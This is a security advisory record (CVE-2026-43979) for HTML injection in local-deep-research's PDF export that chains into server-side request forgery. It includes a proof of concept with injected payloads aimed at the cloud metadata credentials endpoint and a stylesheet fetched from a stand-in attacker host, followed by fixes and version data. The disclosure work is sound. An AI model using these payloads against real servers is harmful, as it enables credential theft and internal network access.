CVE-2026-43979: Local deep research _markdown_to_html`) Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fj2m-qvh9-jq4q",
  "modified" : "2026-06-09T10:22:59Z",
  "published" : "2026-05-11T19:40:07Z",
  "aliases" : [ "CVE-2026-43979" ],
  "summary" : "local-deep-research is Vulnerable to HTML Injection via Unescaped User Input in PDF Export (`pdf_service.py:_markdown_to_html`)",
  "details" : "## Summary\n\n`PDFService._markdown_to_html()` constructs an HTML document by interpolating user-controlled values — specifically `title` (sourced from `research.title` or `research.query`) and `metadata` key-value pairs — directly into an f-string without any HTML escaping. An authenticated attacker can craft a research query containing HTML special characters to inject arbitrary HTML tags into the document processed by WeasyPrint during PDF export. This injection can be chained to trigger a Server-Side Request Forgery (SSRF), bypassing the application's existing SSRF defenses in `ssrf_validator.py`.\n\n---\n\n## Details\n\n**Vulnerable code:** `src/local_deep_research/web/services/pdf_service.py`, lines 171–176\n\n```python\n# pdf_service.py:171-176\nif title:\n    html_parts.append(f\"<title>{title}</title>\")   # ← title is not escaped\n\nif metadata:\n    for key, value in metadata.items():\n        html_parts.append(f'<meta name=\"{key}\" content=\"{value}\">')  # ← key/value are not escaped\n```\n\n**Data flow trace:**\n\n```\nUser input: research.query\n        │\n        ▼\nresearch_routes.py:1321\n  pdf_title = research.title or research.query\n        │\n        ▼\nresearch_routes.py:1325-1326\n  export_report_to_memory(report_content, format, title=pdf_title)\n        │\n        ▼\npdf_service.py:107\n  PDFService.markdown_to_pdf(markdown_content, title=pdf_title)\n        │\n        ▼\npdf_service.py:137\n  _markdown_to_html(markdown_content, title, metadata)\n        │\n        ▼\npdf_service.py:172\n  f\"<title>{title}</title>\"   ← injection point, no escaping\n        │\n        ▼\npdf_service.py:112\n  HTML(string=html_content)   ← WeasyPrint renders the injected HTML\n```\n\n`research.query` is a string submitted by the user via `POST /api/start_research`, stored as-is in the database, and retrieved without any sanitization. When the user triggers `POST /api/v1/research/<research_id>/export/pdf`, this value is embedded unescaped into the HTML document processed by WeasyPrint.\n\n**Injection point 1: `<title>` tag breakout**\n\n```\nInput:    </title><img src=\"http://169.254.169.254/latest/meta-data/\" />\nRendered: <title></title><img src=\"http://169.254.169.254/latest/meta-data/\" /></title>\n```\n\nWhen WeasyPrint encounters the injected `<img>` tag, it issues an HTTP GET request to the value of `src` by default.\n\n**Injection point 2: `<meta>` attribute breakout**\n\n```\nInput:    \" /><link rel=\"stylesheet\" href=\"http://attacker.com/evil.css\nRendered: <meta name=\"...\" content=\"\" /><link rel=\"stylesheet\" href=\"http://attacker.com/evil.css\">\n```\n\nWeasyPrint will fetch and apply the external stylesheet, which also constitutes SSRF.\n\n---\n\n## Proof of Concept\n\n**Step 1: Log in and submit a research query containing the injection payload**\n\n```http\nPOST /api/start_research HTTP/1.1\nHost: localhost:5000\nContent-Type: application/json\nCookie: session=<valid_session>\n\n{\n  \"query\": \"</title><img src=\\\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\\\" onerror=\\\"x\\\"/>\",\n  \"mode\": \"quick\",\n  \"model_provider\": \"OLLAMA\",\n  \"model\": \"llama3\"\n}\n```\n\nThe response returns a `research_id`, e.g. `\"aaaa-bbbb-cccc-dddd\"`.\n\n**Step 2: After the research completes, trigger PDF export**\n\n```http\nPOST /api/v1/research/aaaa-bbbb-cccc-dddd/export/pdf HTTP/1.1\nHost: localhost:5000\nCookie: session=<valid_session>\nX-CSRFToken: <csrf_token>\n```\n\n**Step 3: Intermediate HTML constructed server-side**\n\n```html\n<!DOCTYPE html><html><head>\n<meta charset=\"utf-8\">\n<title></title><img src=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\" onerror=\"x\"/></title>\n</head><body>\n...report content...\n</body></html>\n```\n\n**Step 4: WeasyPrint issues an outbound HTTP request to the injected URL**\n\nObserved in network monitoring (e.g. `tcpdump`) or the target internal service logs:\n\n```\nGET /latest/meta-data/iam/security-credentials/ HTTP/1.1\nHost: 169.254.169.254\nUser-Agent: WeasyPrint/...\n```\n\n**Lightweight verification (no SSRF environment required):**\n\nSet the query to:\n\n```\n</title><title>INJECTED\n```\n\nThe resulting HTML will contain two `<title>` tags and the PDF document metadata title will read `INJECTED`, confirming successful injection.\n\n---\n\n## Impact\n\n### 1. Chained SSRF (High Severity)\n\nBy injecting `<img src>`, `<link href>`, or `<style>@import url()` tags pointing to internal addresses, WeasyPrint will issue HTTP requests on behalf of the server during PDF generation. This allows access to:\n\n- **Cloud metadata services** (`169.254.169.254`) on AWS, GCP, or Azure — enabling theft of IAM credentials and instance identity documents.\n- **Internal network services** (`192.168.x.x`, `10.x.x.x`) — enabling reconnaissance and interaction with internal APIs not exposed to the internet.\n- **Localhost administrative interfaces** — if SSRF protections are only applied at the user-input validation layer.\n\nThis is an effective bypass of the application's existing SSRF defenses in `ssrf_validator.py`, because WeasyPrint's outbound resource requests are never routed through that validator.\n\n### 2. HTML Document Structure Corruption\n\nInjected tags can prematurely close `<head>` and insert arbitrary content into `<body>`, causing WeasyPrint to render incorrectly or crash, resulting in a Denial of Service (DoS) condition for the export functionality.\n\n### 3. CSS Injection (Medium Severity)\n\nBy injecting `<link>` or `<style>` tags that load external stylesheets, an attacker can fully control the visual content of the generated PDF, enabling report content forgery or spoofing.\n\n### 4. Affected Scope\n\n- All PDF export operations are affected.\n- The vulnerability is reachable by any authenticated user — no elevated privileges required.\n- Because each user operates against their own encrypted database, cross-user exploitation is not possible. However, on any shared or multi-tenant deployment, every authenticated user can independently trigger this vulnerability.\n---\n\n## Remediation\n\nApply `html.escape()` to all user-controlled values before embedding them in the HTML template inside `_markdown_to_html`:\n\n```python\nimport html\n\nif title:\n    html_parts.append(f\"<title>{html.escape(title)}</title>\")\n\nif metadata:\n    for key, value in metadata.items():\n        html_parts.append(\n            f'<meta name=\"{html.escape(str(key))}\" content=\"{html.escape(str(value))}\">'\n        )\n```\n\nAdditionally, consider configuring WeasyPrint with a custom `url_fetcher` that blocks or restricts outbound HTTP requests to prevent SSRF via injected or legitimately-embedded external resources:\n\n```python\ndef safe_url_fetcher(url, timeout=10):\n    from ssrf_validator import validate_url\n    if not validate_url(url):\n        raise ValueError(f\"Blocked unsafe URL in PDF rendering: {url}\")\n    return weasyprint.default_url_fetcher(url, timeout=timeout)\n\nhtml_doc = HTML(string=html_content, url_fetcher=safe_url_fetcher)\n```\n---\n\n*Report generated against commit `f3540fb3` — local-deep-research, branch `main`.*\n\n\n---\n\n## Maintainer note (2026-04-24)\n\nThanks @Firebasky for the detailed report. The complete remediation spans two PRs, both merged to `main`:\n\n**#3082** (merged 2026-03-29, shipped in **v1.5.0+**) — closes the HTML-injection sinks:\n- `html.escape()` now wraps the `title` value in `<title>…</title>`\n- Same for metadata keys/values in `<meta name=\"…\" content=\"…\">`\n- Regression tests added in `tests/web/services/test_pdf_service.py`\n\n**#3613** (merged 2026-04-24, shipped in **v1.6.0**) — implements the `url_fetcher` recommendation from the Remediation section:\n- New `_safe_url_fetcher` in `pdf_service.py` delegates to `weasyprint.default_url_fetcher` only after `security.ssrf_validator.validate_url` accepts the URL\n- Blocks AWS metadata (169.254.169.254), RFC1918, loopback, and non-http(s) schemes\n- Covers the chained SSRF path through any URL reaching the rendered HTML — markdown body, citations, raw-HTML passthrough via Python-Markdown\n- Blocked URLs raise `UnsafePDFResourceURLError` (a `ValueError` subclass) so WeasyPrint skips the resource and the render continues\n- 8 regression tests, including an end-to-end render with `<img src=\"http://169.254.169.254/…\">` embedded in the body\n\n**Advisory metadata:** CVSS `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N` (5.0 Moderate), CWEs **CWE-79** + **CWE-918**. **Patched in v1.6.0** — upgrade to v1.6.0 or later to receive both fixes.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "local-deep-research"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.6.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/LearningCircuit/local-deep-research/security/advisories/GHSA-fj2m-qvh9-jq4q"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-43979"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/LearningCircuit/local-deep-research/pull/3082"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/LearningCircuit/local-deep-research/pull/3613"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/LearningCircuit/local-deep-research/commit/0148fa265a3da460c07def7441f9ac49ea61fbcb"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/LearningCircuit/local-deep-research/commit/15f13d5c79847f1c38c2dc67bd0027c38af9e34b"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/LearningCircuit/local-deep-research"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79", "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-11T19:40:07Z",
    "nvd_published_at" : "2026-05-28T19:16:38Z"
  }
}